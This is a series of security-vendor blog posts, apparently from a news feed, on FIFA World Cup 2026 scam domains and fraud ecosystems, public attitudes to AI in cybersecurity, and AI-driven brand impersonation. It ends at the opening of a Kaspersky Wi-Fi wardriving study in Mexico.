Operation FanTrap reveals how threat actors are building end-to-end fraud operations designed to attract, engage, and monetize football fans worldwide. Victims are lured through fake ticket offers, VIP access schemes, counterfeit hospitality portals, and unauthorized streaming platforms. Evidence also shows victims being redirected to private communication channels such as Telegram and WhatsApp, where payment fraud, credential theft, and identity harvesting occur. 
 
CRIL’s investigation also identified growing dark web activity linked to the tournament, including claims of football-sector identity data leaks and discussions around ticket resale opportunities. While the authenticity of some leak claims remains under investigation, their circulation highlights the increasing convergence of fan-targeted fraud, identity theft, and cyber-enabled financial crime. 
 
The campaign demonstrates how major international events create a scalable environment for cybercriminal operations. Through multilingual targeting, extensive infrastructure deployment, and diversified monetization strategies, threat actors are transforming global sporting events into sustained cybercrime ecosystems. 

Key Takeaways 

• Operation FanTrap is a coordinated investigation into the broader fraud ecosystem exploiting global interest in FIFA events 

• Nearly 4,000 FIFA-themed domains were identified supporting phishing, ticket fraud, VIP scams, streaming lures, and brand impersonation. 

• The websites used a multilingual infrastructure to maximize victim reach, with a particularly strong focus on Chinese-speaking audiences. 

• Telegram and WhatsApp function as transaction layers where victims are moved from public-facing infrastructure into private fraud workflows. 

• Pirated streaming platforms serve as credential theft and payment fraud funnels rather than simple copyright violations. 

• Dark web discussions and alleged football-sector identity leaks create opportunities for targeted social engineering and secondary monetization. 

Campaign overview 

Parameter	Observed Value
Campaign Codename (CRIL)	Operation FanTrap
Monitoring Window	May 2026 – June 2026 (ongoing)
Dominant Fraud Categories	Ticket scam, VIP access fraud, pirate streaming, phishing
Primary Target Demography	Chinese-speaking fans, Korean fans, Latin American fans
Dark Web Activity	Forum-based ticket resale fraud; identity data leak claims

The FIFA World Cup 2026 will span the US, Canada, and Mexico, with a 48-team format and global broadcast reach. CRIL's monitoring uncovered significant spikes in malicious domain registrations mapped to specific attack themes, demonstrating how threat actors rapidly adapted their infrastructure to capitalize on tournament-related interest. 

Anatomy of the FIFA 2026 Fraud Ecosystem 

Domain Patterns - The Fraud Ecosystem 

Threat actors leveraged ticketing, VIP access, official branding, and live streaming to broaden their victim pool. Examples of these domain patterns are shown in the table below. 

Domain Pattern	Example Domains	Count	Fraud Category
zh-[term]-fifa.com	zh-worldcuphub-fifa.com, zh-nowlive-fifa.com	541	Chinese-language phishing/streaming
cn-[term]-fifa.com	cn-vpn-fifa.com, cn-setting-fifa.com	372	Chinese-language credential/VPN phishing
[term]-worldcup-fifa.com	play-worldcup-fifa.com, vip-worldcup-fifa.com	413	Brand impersonation
[term]-wc-fifa.com	cctv-maiqiu-fifa-wc.com, ssl-cn-fifa-wc.com	391	Ticketing/streaming fraud
fifa-ticket-[term].com	fifa-ticket-26.com, fifa-freetickets.*.top	10+	Ticket scam
fifa-vip-[term].com	fifa-vip-huya.com, fifa-vip-wcplay.com	84	VIP/premium access fraud
official-[term]-fifa.com	official-live-fifa.com, official-2026-fifa.com	87	Brand authority impersonation
live-[term]-fifa.com	vip-live-fifa.com, web-live-fifa.com	219	Pirate streaming
maiqiu variants	chn-maiqiu-fifa-worldcup.com, cctv-maiqiu-fifa.com	51	Chinese ticket-buying fraud

The extensive use of zh-, cn-, and Chinese-language World Cup labels such as shijiebei, pankou, and maiqiu highlights a deliberate focus on Mandarin-speaking audiences. This targeting extends beyond traditional ticket fraud to encompass betting platforms, media-themed credential theft, piracy lures, prize scams, and counterfeit merchandise. This signals a persistent and organized fraud ecosystem designed to capitalize on China's large football fanbase and strong demand for World Cup-related content and services. 

Dark Web Intelligence 

We also identified a growing ecosystem of ticket resale fraud on Telegram and WhatsApp, as well as pirated streaming lures. Both are actively used to monetize fan interest and facilitate fraud, credential harvesting, and other malicious activity. 

Resell Traps on Messaging Services. 

Monitoring of deep- and dark-web sources identified numerous advertisements and reseller communities promoting FIFA World Cup tickets via Telegram and WhatsApp. Fraudsters frequently use these platforms because they facilitate private, direct communication while limiting oversight and accountability.  

Threat actors often establish credibility through fabricated testimonials, forged purchase confirmations, edited screenshots, recycled ticket images, and scripted customer-support interactions. However, such indicators of legitimacy can be easily manufactured and should not be considered proof of ticket ownership or delivery capability. Additionally, the closed nature of these channels enables attackers to create a sense of urgency, collect payments, and disengage victims with minimal traceability. 

The example below illustrates a Telegram-based ticket resale advertisement identified during monitoring, highlighting the use of unofficial and potentially fraudulent sales channels. 

The pirated stream trap: free football, expensive consequences 

Pirated streaming sites exploit fans seeking free access to World Cup matches, using geo-restrictions, subscription costs, and broadcast limitations as bait. Rather than delivering live streams, many function as fraud and malware distribution platforms, employing fake video players, deceptive download prompts, browser notification prompts, and fraudulent free-trial offers to harvest credentials, payment information, and user data.  

To evade detection, we identified domains that avoid FIFA- or World Cup-related keywords in domain names. These links are promoted through fan forums, Discord servers, Telegram channels, and WhatsApp groups, lending credibility to malicious infrastructure. 

Examples identified during monitoring include: 

• footybite[.]vc 

• epicsports[.]in 

• footballnewslive[.]online 

• totalsportek[.]online 

• sportshub[.]fan 

• streameast[.]im 

The risk is beyond legal or copyright concerns. For many fans, the real danger lay in the broader cybersecurity ecosystem surrounding these platforms. Pirated streaming sites and services often acted as data collection points, quietly harvesting email addresses, passwords, payment details, phone numbers, and device information. 

Unofficial streaming apps and APK files added another layer of risk. They frequently requested excessive permissions, delivered intrusive ads, tracked user activity, and in some cases, served as entry points for malware. What seemed like a convenient way to watch a match could quickly turn into a channel for data exposure and system compromise. 

Ticket Scams and VIP Access Fraud  

Forum-based ticket promotions added another layer of risk to World Cup scams by combining resale listings with the appearance of community trust. Sellers often seemed more credible than random social media accounts, as consistent posting, forum history, and visible profile activity created a sense of legitimacy. However, this credibility could be misleading. Fans should remain cautious, as an active profile did not guarantee ticket authenticity, official authorization, secure payments, or a successful transfer—even within seemingly trusted communities. 

Identity and PII leak claims  

CRIL also observed forum discussions about leaked football-related identity data, highlighting how World Cup–related cybercrime can extend beyond fan scams into the broader football ecosystem. For example, one post titled “150k+ football passports leaked weeks before FIFA World Cup” claimed that passport scans and personal details of over 150,000 AFC and Al Nassr FC players and coaches had been exposed. The alleged leak included sensitive information such as full names, passport numbers, scans, dates of birth, nationalities, player roles, club affiliations, email addresses, contracts, AFC IDs, and even match or venue details.  

Such claims require independent forensic verification before a confirmed breach status can be assigned. Regardless of authenticity, the circulation of this data in the pre-tournament window confirms threat actors are actively seeking to monetize football-sector identity assets. If the record set is genuine, it enables targeted spear-phishing against club staff, agent impersonation in transfer fraud, contract manipulation, and abuse of venue access credentials. 

Connecting the Ecosystem – Attack Lifecycle 

By correlating our findings and research, we reconstructed the end-to-end attack chain used by threat actors. The analysis demonstrates how these seemingly independent activities are strategically aligned around the global popularity of FIFA events, enabling attackers to exploit fan enthusiasm, urgency, and trust. Together, these components form a coordinated FIFA-themed fraud ecosystem designed to attract victims, harvest sensitive information, facilitate financial fraud, and generate sustained criminal revenue.

The stages are as follows: 

• Stage 1 – Infrastructure Preparation: Registration of FIFA-themed domains and supporting online assets. 
• Stage 2 – Victim Acquisition: Promotion through search engines, social platforms, forums, messaging communities, and streaming portals. 
• Stage 3 – Engagement and Conversion: Fake ticket sales, VIP packages, hospitality offers, and streaming access are used to build trust. 
• Stage 4 – Data Collection: Harvesting of credentials, payment information, personal identifiers, and communication details. 
• Stage 5 – Monetization: Fraudulent payments, resale scams, credential abuse, phishing campaigns, and potential resale on the dark web of collected information. 

Conclusion 

Operation FanTrap demonstrates how global sporting events have evolved into highly attractive targets for organized cybercriminal activity. Rather than relying on isolated phishing campaigns or opportunistic scams, threat actors are building interconnected ecosystems that combine malicious infrastructure, social engineering, messaging platforms, streaming lures, and dark web activity to maximize financial returns. 

The nearly 4,000 domains identified by CRIL represent only one layer of a broader operation designed to exploit fan enthusiasm, event urgency, and global online engagement. Ticket scams, VIP access fraud, streaming lures, and alleged football-sector identity leaks collectively illustrate how attackers are diversifying their monetization strategies throughout the tournament lifecycle. 

As the FIFA World Cup 2026 continues, organizations, broadcasters, ticketing providers, and fans should view these activities not as isolated incidents but as components of an active and evolving cybercrime ecosystem. Continuous monitoring, rapid infrastructure disruption, dark web visibility, and proactive user awareness will remain critical to reducing risk throughout the tournament. 

CRIL will continue tracking this cluster and updating IoCs as new infrastructure emerges. All indicators are submitted to Cyble's threat feeds and accessible to Vision platform customers. Fan-facing brands, ticketing platforms, and event organizers should treat this as an active threat and prioritize domain monitoring and takedown workflows throughout the tournament. 

Recommendations 

Based on the findings presented above, CRIL recommends the following actions for immediate consideration by security teams and organizations: 

• Implement keyword-aware domain monitoring that flags FIFA, tournament branding, and language-prefix patterns (zh-, cn-, kr-) as compounding risk signals alongside registrar identity, TLD, and domain age. 

• Build takedown workflows that account for Cloudflare-proxied infrastructure — abuse requests must target the underlying origin, not the CDN layer, to be operationally effective. 

• Integrate campaign-cluster pivoting from confirmed IoCs into threat hunting workflows, using shared IP subnets and registrar concentration as primary pivot axes. 

• Apply multi-platform fraud funnel awareness: detection should extend beyond domains to Telegram and WhatsApp channels used for off-platform transaction completion. 

• For ticketing platforms and official broadcasters: issue proactive fan advisories confirming that legitimate ticket transactions will never be negotiated via private messaging apps or unverified resale portals. 

• Revise security awareness materials to teach structural URL interpretation — with specific focus on identifying lookalike FIFA domains that embed official terminology in subdomains or hyphenated strings rather than the root registered domain. 

• Monitor dark web forums for emerging data leak claims targeting football organizations, and treat leaked PII — particularly passport and contract data — as an active social engineering enabler requiring targeted victim notification. 

The need for a proactive cyberdefense stance 

The current threat landscape includes a multitude of Social Engineering campaigns. Security teams need more than reactive controls to keep ahead of these. 

Solutions such as Cyble Vision deliver operational intelligence that enables defenders to stay ahead of adversaries through early detection, campaign-level visibility, and infrastructure mapping. 

Cyble Vision specifically empowers security teams to move beyond isolated detection, providing the strategic insight needed to anticipate threats, monitor adversary activity, and respond with precision at every stage of the attack lifecycle. Security teams can take necessary preventive action with the help of: 

• Real-Time IOC Monitoring 
  Enable continuous tracking of indicators tied to adversary infrastructure before they reach end users. 

• Credential Phishing Infrastructure Mapping 
  Map attacker-controlled infrastructure, including fake authentication portals, dynamic exfiltration endpoints, and backend logic designed to capture credentials. 

• Brand and Executive Impersonation Monitoring 
  Detect domain spoofing and impersonation attempts targeting internal functions such as HR and Finance—often used to increase trust and exploit user familiarity. 

• Deep and Dark Web Visibility 
  Surface chatter, leaked credentials, and phishing toolkits from deep/dark web sources, offering early insight into attacker preparation and target selection. 

• Global Targeting Intelligence 
  Track phishing activity across global regions—including North America, EMEA, and APAC—as well as over 70 industry sectors, providing defenders with contextual understanding of targeting patterns. 

• Threat Actor Attribution and TTP Correlation 
  Associate infrastructure, techniques, and behavioral patterns with known threat actors, empowering security teams to prioritize response based on adversary capability and intent. 

MITRE ATT&CK® Techniques 

Tactic	Technique ID	Technique Name
Resource Development	T1583.001	Acquire Infrastructure: Domains
Resource Development	T1583.006	Acquire Infrastructure: Web Services
Resource Development	T1585.001	Establish Accounts: Social Media Accounts
Initial Access	T1566.002	Phishing: Spearphishing Link
Credential Access	T1056.003	Web Portal Capture
Command and Control	T1102	Web Service
Impact	T1657	Financial Theft

Indicators of Compromise (IOCs) 

The IOCs have been added to this GitHub repository. Please review and integrate them into your Threat Intelligence feed to enhance protection and improve your overall security posture. 

The post Operation FanTrap: Inside the FIFA 2026 Fraud Ecosystem appeared first on Cyble.

The FIFA World Cup 2026 kicks off on June 11, and the world's biggest sporting event is drawing more than just fans — it is already attracting a wave of cybercriminals targeting ticket buyers, job seekers, streaming viewers, and corporate brands alike. 

The FBI has issued a formal Public Service Announcement warning that threat actors are creating fraudulent versions of FIFA-affiliated websites to steal personal information, conduct financial fraud, and sell fake products and services. Cyble researchers independently analyzed the domains flagged by the FBI and confirmed that many remained active and operational at the time of publishing this report. 

With 48 teams, 16 host cities across the United States, Canada, and Mexico, and an estimated global audience of billions, the FIFA World Cup 2026 is set to be the largest men's World Cup in history. That scale is precisely why cybercriminals are prying on it — and why the threat is arriving earlier and more aggressively than in previous tournaments. 

See which domains targeting your brand are active right now
Run a Free External Threat Report

How FIFA World Cup 2026 Scams Work 

The FBI warns that threat actors are building fraudulent versions of FIFA's official website, www.fifa.com, designed to closely mimic the legitimate experience. These sites are engineered to collect personally identifiable information (PII), including full names, home addresses, phone numbers, email addresses, banking information, and payment card details. 

The same fraudulent infrastructure is used to run a range of operations simultaneously: FIFA ticket scams, fake hospitality package sales, fraudulent job listings, and other forms of financial fraud. 

The most common technical method is typosquatting — registering domains with subtle spelling changes or different extensions that trick users into believing they have landed on an official page. A single missing letter, a swapped extension, or a hyphenated variant can be enough to deceive even vigilant users, especially when the site is dressed with FIFA branding, tournament schedules, and professional-looking navigation menus. 

The FBI flagged the following domains as fraudulent FIFA-related sites: 

www.fifa[.]cab	www.fifa[.]pink
www.fifa[.]blue	www.fifa[.]pub
FIFA[.]city	Fifa[.]bio
fifa[.]beer	fifa[.]click
fifa[.]cam	fifa[.]ceo
fifa[.]help	filfa[.]org
fifa-online[.]com	https://fifa-2026[.]xyz
jobs-fifa[.]com	fifa-hr[.]com
fifa-careerhub[.]com	fifaworldcup-careers[.]com
fifa-hiring[.]com	fifahiring[.]com
fifa-ticket[.]live	fifastore.us[.]com
fifaworldcup26[.]sale	fifaworldcup26.xcover-staging[.]com
worldcup2026-tickets.com[.]mx	worldcup26ticket[.]com
2026fifaworldcuptickets[.]online	fwc2026[.]net
fwc2026.web[.]app	www.fifa2026p[.]com
fifa2026fworldcup[.]com	wvvw-fifa[.]com
ww-fifa[.]com	fifa-com[.]com
www.fifa-com[.]services	quiniela-fifa-2026.pages[.]dev

Source: FBI PSA — Domains defanged for safety 

Is your brand being spoofed? Cyble tracks typosquatted domains in real time
Request a demo

Cyble researchers tracked these domains and confirmed that many were still operational at the time of publishing. Notably, even when a malicious domain is taken down, new ones tend to appear almost instantaneously. The fraudulent infrastructure is not a one-time campaign — it is continuously regenerating. 

Fake FIFA Hospitality, Ticket, and Sale Sites 

One of the most convincing examples identified by Cyble researchers was ww-fifa[.]com — a classic typosquatting attack that removes a single "w" from the legitimate FIFA URL. The site presents itself as an official FIFA World Cup 2026 portal, complete with tournament branding, navigation menus, ticket information, and hospitality package offers. 

Visitors to this site are encouraged to purchase premium packages that include tickets, food, beverages, lounge access, and related services — all fraudulent. 

Cyble researchers identified several indicators that expose the site as illegitimate: 

• Duplicate page titles appearing twice in the browser tab 

• Missing or broken images throughout the site 

• Navigation links leading to attacker-controlled pages 

• Ticket purchase prompts requesting personal and financial information with no legitimate payment processing 

What makes these sites especially dangerous is the sophistication of the presentation. Unlike the crude phishing pages of a decade ago, modern FIFA 2026 scam sites replicate the visual design of official sports portals convincingly enough to pass a casual inspection. 

Security Vendors Have Already Flagged FIFA-Related Domains 

Cyble researchers analyzed the domain fifa[.]help using VirusTotal and found that, at the time of analysis, 15 out of 92 security vendors had classified it as malicious. Vendor classifications included phishing, fraud, and related threat categories. 

While a detection rate of 15/92 may seem modest, it represents significant early-stage flagging. Many security vendors lag in classifying newly registered domains, so the fact that multiple established providers had already flagged this domain confirms a credible threat.  

As these domains age and accumulate more malicious activity reports, detection rates will rise — but by then, victims will already have been targeted. 

Download Cyble's Annual Threat Landscape Report to track global scam trends

Fake FIFA Recruitment Sites Are Also Active 

Not all FIFA World Cup 2026 scams target ticket buyers or fans. Cyble researchers identified an entirely separate fraud vector targeting job seekers: the domain fifaworldcup-careers[.]com, which presents itself as a FIFA employment portal for World Cup-related positions. 

VirusTotal data revealed: 

• www.fifaworldcup-careers[.]com was flagged by 8 out of 91 vendors 

• The root domain was flagged by 14 out of 91 vendors 

• The domain resolved to multiple IP addresses, including 3.71.180.249, 13.249.91.65, and 13.249.91.101 

The use of multiple IP addresses suggests the domain may be operating behind content delivery or load-balancing infrastructure, which makes takedowns significantly more difficult to execute. 

WHOIS data shows the domain was registered and updated in mid-to-late April 2026, with the registrant's identity hidden behind a privacy shield. Two SSL certificates were also issued on April 15 and April 16, including a wildcard certificate covering *.fifaworldcup-careers[.]com — a sign of deliberate, technically capable infrastructure setup rather than an opportunistic amateur operation. 

Threat actors target employees too. See how Cyble detects campaigns early.
Protect Your Organization!

Why this matters: Job seekers searching for World Cup-related employment — hospitality roles, security staff, event coordinators, media positions — are a highly vulnerable and largely overlooked audience. These individuals are not on guard for ticket scams; they are in application mode, and they will willingly submit full personal information, resumes, and even government ID to what they believe is a legitimate employer. 

How to Avoid FIFA World Cup 2026 Ticket Scams 

As fans search for how to watch the FIFA World Cup 2026 or purchase tickets, the FBI recommends the following precautions: 

• Type fifa.com directly into your browser's address bar — never rely on search results or links in messages 

• Avoid sponsored search results, which can be purchased by attackers to appear above legitimate results 

• Confirm that the URL is exactly www.fifa.com before entering any information 

• Use saved bookmarks or browser favorites when revisiting FIFA websites 

• Access FIFA subdomains only through the official homepage, not by typing them directly 

• Be cautious of websites with broken graphics, poor-quality branding, or duplicate content 

• Do not provide sensitive information unless the site's legitimacy has been independently verified 

• Review URLs carefully before clicking any advertisements 

These steps are especially important for avoiding FIFA 2026 ticket price scams, where attackers create a false sense of urgency through fake discounts, exclusive hospitality offers, or limited-time deals that pressure users into making fast payment decisions. 

How to Watch FIFA World Cup 2026 Safely 

Scammers are targeting not only ticket buyers but viewers as well. Fraudulent streaming platforms are expected to proliferate as the tournament approaches, exploiting the high demand for match access — particularly from fans in regions where official broadcasts are expensive or limited. 

To reduce risk when looking for FIFA World Cup 2026 streaming options: 

• Use only official FIFA channels and licensed regional broadcasters for tournament information 

• Watch matches exclusively through broadcasters licensed for your region 

• Avoid streaming links shared through unsolicited emails, social media messages, or WhatsApp groups 

• Verify URLs carefully before creating accounts or entering any payment information 

• Be cautious of websites offering heavily discounted subscription packages or "exclusive" access to all matches 

Many fake streaming platforms use the same tactics seen in FIFA ticket scams: they exploit demand for tournament content to harvest personal and financial information, either immediately or through credential-stuffing attacks down the line. 

What To Do If You Become a Victim of a FIFA World Cup 2026 Scam 

The FBI expects additional spoofed domains to appear throughout the tournament period — before, during, and after matches. If you encounter a suspected FIFA World Cup 2026 scam, document as much information as possible before the site disappears, including: 

• The fraudulent domain name 

• Screenshots of the website 

• Any communication records (emails, SMS, chat logs) 

• Payment details if a transaction occurred 

• Cryptocurrency wallet addresses, if applicable 

Victims can file a complaint with the Internet Crime Complaint Center (IC3) at ic3.gov and should include the fake domain involved, details of all interactions with the site, information submitted to the scammers, payment records, receiving financial institution information, and any cryptocurrency transaction details. 

Reporting promptly not only helps your case but also contributes to the broader effort to get these domains flagged and taken down faster. 

Protect Your Brand from Fake FIFA World Cup 2026 Phishing Campaigns 

Major global events like the FIFA World Cup create a concentrated window of opportunity for cybercriminals to launch phishing campaigns, register fraudulent domains, and impersonate trusted brands. As the active FIFA-related scam infrastructure identified by Cyble researchers demonstrates, this is not a theoretical risk — it is a live and expanding threat landscape. 

Organizations operating in travel, hospitality, ticketing, media, and any sector adjacent to the FIFA World Cup 2026 need proactive brand protection measures in place now — not after the first incident. 

Cyble's Brand Intelligence solution helps organizations detect malicious domains, phishing websites, brand impersonation attempts, and other forms of digital abuse in real time. Combined with Dark Web and Cyber Crime Monitoring and Takedown & Disruption services, security teams can identify threats early, investigate malicious activity, and accelerate the removal of fraudulent infrastructure before it causes financial or reputational damage. 

Deploy Brand Protection Now

Check out how Cyble helps organizations detect, monitor, and disrupt phishing campaigns, fraudulent domains, and brand abuse before they lead to financial loss or reputational damage. 

Frequently Asked Questions 

The post FIFA World Cup 2026 Scams Are Already Active: Fake Domains, Phishing Sites, and How to Stay Safe appeared first on Cyble.

Public attitudes toward Artificial Intelligence (AI) are changing, and we wanted to understand why.

A recent Pew Research survey found that about half of adults say the increased use of AI in daily life makes them more concerned than excited, and that concern has grown over the last few years. People tend to worry most about long‑term social effects (jobs, creativity, relationships, misinformation), even while many do use AI tools and see some practical benefits, particularly for data analysis and routine tasks.

Data from an older UK survey already showed something similar. Awareness of highly visible AI technologies, such as driverless cars and facial recognition is high, but awareness of AI in welfare assessments, loan decisions, or care services is much lower. Concern about many of these use cases has risen since 2022. In other words, people feel AI is everywhere, but don’t always understand where or how it’s being used, and that makes people cautious.

The concern is usually less about science‑fiction extinction scenarios and more about social and economic harm. People worry about their jobs disappearing, a loss of creativity, the spread of disinformation, and increased surveillance, more than about killer robot scenarios.

Research into public attitudes towards AI repeatedly finds that people hold conflicting views, shaped by narratives of admiration and hype on one side and threat and dystopia on the other.

They see genuine benefits in the technology, but are increasingly wary of how companies, governments, and criminals might use it. Basically, people aren’t scared of AI itself, but about who’s using it and for what purpose.

Cybersecurity

AI in cybersecurity is a special case. When asked in which field of AI research they would invest an unlimited amount of money, people chose the fields of medicine and cybersecurity.

People increasingly recognize that AI is now a tool used by both defenders and cybercriminals. Few would feel comfortable with defenders refusing to use AI while attackers continue to adopt it.

Security products use machine learning to process huge volumes of data, detect unusual behavior, prioritize alerts, and identify threats faster than human analysts could alone.

At the same time, cybercriminals are using AI to create more convincing phishing emails, clone voices, generate fake images and videos, automate research on victims, and develop malware that can evade traditional detection techniques.

Both sides use AI-assisted tools to find software vulnerabilities that could be exploited to defraud people or breach systems, so vendors want to patch them before cybercriminals exploit them.

While studies consistently show that cybersecurity is one of the AI applications people worry about most, they also see that AI is increasingly necessary to keep pace with modern threats. A 2025 study focusing on AI in cybersecurity found that the public widely recognizes the technical benefits of AI‑driven defenses (speed, scale, accuracy), while remaining concerned about privacy, bias, and job displacement in security operations.

That is why the AI debate in cybersecurity feels different from the debate in many other fields. People may be uneasy about AI, but they also understand that the threat landscape no longer moves at human speed. Attackers already use automation, scale, and increasingly AI‑assisted workflows, so defensive teams that refuse to adapt would simply be slower and less effective.

Our mission at Malwarebytes is twofold: reduce the risks created by AI, and use AI to prevent, detect, and respond to threats. We’ve been using machine learning in our security products for nearly two decades, developing proprietary detection systems that help identify malicious code and suspicious behavior at a scale and speed that would be impossible manually.

Coming soon: How AI is changing trust online

Malwarebytes recently surveyed 1,500 adults across the US, UK, Austria, Germany, and Switzerland about their experiences with AI. The findings reveal a growing uncertainty about what people can trust online, alongside increasing concern about scams, impersonation, and AI-generated deception.

Stay tuned for the full Malwarebytes report on how AI is reshaping trust, identity, and scams.

Use AI safely

If you use AI in a security context, keep your data hygiene strict. Don’t paste passwords, customer data, or sensitive incident details into public AI tools. Treat AI-generated outputs as untrusted until verified, especially when they touch code, logs, indicators, or policy decisions.

AI can be useful for summarizing information, indentifying patterns, and producing first drafts, but keep a human in the loop for anything that affects access, containment, legal decisions, or public communications. Where possible, prefer enterprise or local deployments with logging, access control, and clear data-retention rules.

Also remember that AI can hallucinate confidently. In security work, that means every output needs validation against logs, documentation, source code, or other primary evidence before you act on it.

---

Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free → 

For most of the digital era, fraud had friction. It required effort, time, and enough technical inconsistency that security systems — or even a careful human — could spot the seams.

That assumption no longer holds.

Brand impersonation has evolved into a scalable, automated industry powered by generative AI. What used to be isolated phishing attempts has become a distributed ecosystem of cloned identities, synthetic media, and disposable infrastructure that can convincingly replicate trusted organizations on a global scale.

The uncomfortable reality: modern impersonation campaigns don't need to break in anywhere. They only need to look legitimate long enough to be believed. And increasingly, that window is all attackers need.

According to the U.S. Federal Trade Commission, consumers reported over 330,000 business impersonation scams in a single year, with total losses across business and government impersonation exceeding $1.1 billion annually. The FBI's Internet Crime Complaint Center recorded over 859,000 complaints in 2024 alone, with reported losses exceeding $16 billion — a 33% year-over-year increase. 

What stands out isn't just the scale. It's acceleration. 

By 2025–2026, AI-enabled fraud was tied to hundreds of millions in reported losses. The FBI tracked $893 million in AI-related scam losses in a single reporting cycle. The trajectory is no longer linear — it's compounding. 

What AI-Powered Brand Impersonation Attack Actually Looks Like 

Modern brand impersonation isn't a single tactic. It's a coordinated blend of synthetic systems that reinforce each other. 

1. Synthetic Media That Removes Doubt 

Deepfake video and voice have reached the point where realism isn't the goal — credibility under pressure is. 

Executives can now be impersonated in crisis announcements, vendor payment approvals, internal HR communications, and customer escalation calls. What makes this dangerous isn't just the technology — it's the urgency it creates. A convincing voice or face removes the natural pause that might otherwise trigger verification. 

According to a Hiya survey of over 12,000 consumers, one in four Americans received a deepfake voice call in the past year. An additional 24% said they weren't confident they could tell an AI-generated voice from a real one. That uncertainty is the attacker's advantage. 

2. Fake Domains as Disposable Infrastructure 

Domain impersonation has been industrialized. 

Attackers generate typosquatting domains mimicking enterprise brands, "support" or "secure" subdomains designed to pass casual inspection, and short-lived phishing pages that disappear within hours. These domains aren't built to last — they're built to survive just long enough to extract value. 

Even large consumer brands are routinely targeted. FTC data consistently shows Amazon, PayPal, and major retail brands among the most impersonated entities, with tens of thousands of consumer reports tied annually to fake support and login portals. 

3. Social Profiles That Mirror Corporate Structure 

Impersonation now extends across social ecosystems. 

Attackers build fake executives on LinkedIn, fraudulent support accounts on X, customer service clones on messaging platforms, and internal "finance" or "IT helpdesk" personas. These profiles often interact with each other, creating the illusion of organizational depth. The goal isn't just to appear real — it's to appear institutional. 

4. The Human Layer: Social Engineering at Scale 

What AI has changed most isn't creativity — it's repetition. 

A single attacker can now run thousands of phishing variations, automated follow-ups across channels, multilingual impersonation campaigns, and adaptive scripts that evolve based on response patterns. This is why impersonation scams have become the dominant fraud category. FTC data shows impostor scams consistently represent nearly half of all fraud reports submitted to the agency each year. 

Why AI Has Made Impersonation Explosive 

Three structural shifts explain the surge. 

• Cost collapse: Where impersonation once required technical skill and manual effort, AI has reduced the barrier to near-zero. Entire campaigns — scripts, emails, voice prompts, landing pages — can be generated in minutes. 

• Scale without fatigue: Attackers no longer choose targets carefully. They flood entire sectors simultaneously, then double down on whichever variation converts best. 

• Psychological compression:  A realistic voice reduces skepticism. A polished domain reduces scrutiny. A coordinated narrative reduces doubt. The result isn't just more fraud — it's faster belief formation. 

The Full Attack Chain: How Modern Impersonation Operates 

From the attacker's perspective, impersonation is a supply chain. 

•  Acquisition: Dark web marketplaces sell brand impersonation kits containing prebuilt phishing templates, fake login portals, automated outreach tools, and domain generation scripts. This commoditization has turned impersonation into a plug-and-play operation. 

• Infrastructure deployment: Attackers register lookalike domains and spin up cloud-hosted pages designed for short lifespans — redirect chains included to evade detection. Speed matters, not persistence.  

• Multi-channel engagement: Campaigns launch simultaneously across email, social media, voice, SMS, and messaging apps like WhatsApp or Telegram. Repetition across channels reinforces perceived legitimacy. 

• Monetization: Once trust is established, attackers trigger fake invoice payments, credential harvesting, account takeover attempts, or fraudulent wire transfers. FBI data shows investment fraud alone accounted for over $6.5 billion in losses in 2024 — the single largest loss category in internet crime. 

• Reputational fallout: Even after the infrastructure is taken down, the damage persists. Customers lose trust in official communication channels. Employees second-guess legitimate internal messages. Partners increase verification overhead. The brand itself becomes collateral damage. 

Why Traditional Security Tools Miss the Entire Attack 

This is where most defenses fail. 

• EDR monitors devices inside the enterprise. Impersonation attacks happen outside the network, across public platforms, before any endpoint is touched. There's nothing to detect. 

• SIEM depends on internal logs — authentication events, network traffic, system anomalies. But impersonation generates no internal signal until the victim is already compromised. 

• Firewalls assume attackers must cross a network boundary. Impersonation flips that assumption entirely. The attack originates outside. The entry point is human trust. The compromise happens before any infrastructure contact. The perimeter is no longer relevant. 

What Needs to Be Monitored Instead 

Defense has to move outward. 

• Domain and infrastructure intelligence: Continuous monitoring of newly registered lookalike domains, SSL certificate anomalies, and DNS patterns tied to brand keywords. 

• Social surface monitoring: Tracking fake executive accounts, brand impersonation on social platforms, and fraudulent customer-facing support personas. 

• Dark web exposure signals: Early indicators often surface in underground forums — discussions targeting specific brands, leaked credential sets, shared phishing kits referencing your organization. 

• Credential leak correlation: The earliest compromise signals often come from employee credential leaks, reused passwords, and public data breaches tied to corporate domains. The key is correlating weak signals before they become incidents. 

How Cyble Vision Changes the Detection Model 

External attack surface intelligence is built on a direct premise: if impersonation happens outside the enterprise, detection has to happen outside it too. 

Rather than waiting for internal alerts, Cyble Vision continuously monitors domain registration activity, social media impersonation, dark web threat actor discussions, and credential exposure databases — then correlates those signals into actionable threat intelligence. 

It also supports automated takedown workflows. In impersonation attacks, the time between detection and removal often determines whether a campaign reaches hundreds of victims or hundreds of thousands. Speed here isn't a nice-to-have. 

Cyble Vision provides executives with continuous visibility into external impersonation risks, enabling proactive monitoring of brand abuse, emerging threat campaigns, and attack surface exposure from a single strategic view.

The Collapse of Visual Trust 

AI hasn't just automated fraud — it's eroded the verification signals people have relied on for decades. A familiar logo, a familiar voice, a familiar domain no longer guarantees authenticity. 

In a system where trust can be manufactured at scale, attackers don't need to bypass security systems. They only need to convincingly impersonate reality long enough for a decision to be made. 

The battlefield isn't inside the network anymore. It's everywhere your brand exists. 

Want the full threat landscape breakdown? Download the Cyble META Threat Landscape Report — covering top threat actors, attack patterns, and regional risk signals across the Middle East, Turkey, and Africa. 

Subscribe to Cyble's weekly intelligence digest for analyst-curated threat updates delivered to your inbox. 

The post How AI-Powered Brand Impersonation Works — And Why Traditional Security Misses It Entirely appeared first on Cyble.

Introduction

Mexico is one of the host countries for the 2026 FIFA World Cup, with matches to be played in three major cities: Mexico City, Monterrey, and Guadalajara. These locations are expected to see a large influx of international visitors, increasing the potential security risks. Many of those risks arise from users connecting to public wireless networks.

To better understand the wireless environments that visitors may encounter, we at Kaspersky GReAT conducted a wardriving assessment in the three host cities. The aim of the study was to analyze characteristics, deployment patterns, security configurations and potential exposure risks of public Wi-Fi infrastructure in urban wireless environments.

The information collected during the assessment was used exclusively for passive observation and infrastructure analysis. No attempts were made to authenticate, intercept communications, exploit systems or interact with the detected wireless networks beyond the publicly broadcast management information.

During processing of the collected data, one step involved filtering out networks belonging to cars or cell phones categorized as mobile hotspots because they do not represent networks that can be considered part of the assessment.

Research scope

